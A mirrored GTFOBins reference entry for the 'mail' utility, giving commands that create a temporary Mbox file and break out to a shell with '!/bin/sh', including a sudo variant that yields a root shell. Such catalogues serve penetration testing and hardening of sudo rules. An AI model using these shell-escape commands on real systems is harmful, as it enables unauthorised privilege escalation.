mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
18 lines
461 B
Markdown
18 lines
461 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- description: This creates a valid Mbox file which may be required by the binary.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo "From nobody@localhost $(date)" > $TF
|
|
mail -f $TF
|
|
!/bin/sh
|
|
sudo:
|
|
- description: This creates a valid Mbox file which may be required by the binary.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo "From nobody@localhost $(date)" > $TF
|
|
sudo mail -f $TF
|
|
!/bin/sh
|
|
---
|